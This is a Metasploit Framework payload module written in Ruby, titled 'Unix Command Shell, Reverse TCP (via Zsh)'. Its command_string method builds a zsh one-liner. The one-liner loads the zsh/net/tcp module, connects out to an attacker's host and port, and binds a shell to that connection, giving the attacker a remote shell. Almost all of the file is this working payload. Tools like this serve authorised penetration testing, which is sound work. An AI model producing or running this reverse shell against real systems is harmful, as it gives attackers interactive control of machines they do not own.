Unix Command Shell, Reverse TCP (via Zsh)

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##


module MetasploitModule

  CachedSize = 94

  include Msf::Payload::Single
  include Msf::Sessions::CommandShellOptions

  def initialize(info = {})
    super(merge_info(info,
     'Name'        => 'Unix Command Shell, Reverse TCP (via Zsh)',
     'Description' => %q{
        Connect back and create a command shell via Zsh.  Note: Although Zsh is often
        available, please be aware it isn't usually installed by default.
      },
     'Author'      =>
       [
         'Doug Prostko <dougtko[at]gmail.com>',    # Initial payload
         'Wang Yihang <wangyihanger[at]gmail.com>' # Simplified redirections
       ],
     'License'     => MSF_LICENSE,
     'Platform'    => 'unix',
     'Arch'        => ARCH_CMD,
     'Handler'     => Msf::Handler::ReverseTcp,
     'Session'     => Msf::Sessions::CommandShell,
     'PayloadType' => 'cmd',
     'RequiredCmd' => 'zsh',
     'Payload'     => { 'Offsets' => {}, 'Payload' => '' }
    ))
    register_advanced_options(
      [
        OptString.new('ZSHPath', [true, 'The path to the ZSH executable', 'zsh'])
      ]
    )
  end

  def generate(_opts = {})
    super + command_string
  end

  def command_string
    "#{datastore['ZSHPath']} -c 'zmodload zsh/net/tcp && ztcp #{datastore['LHOST']} #{datastore['LPORT']} && #{datastore['ZSHPath']} >&$REPLY 2>&$REPLY 0>&$REPLY'"
  end
end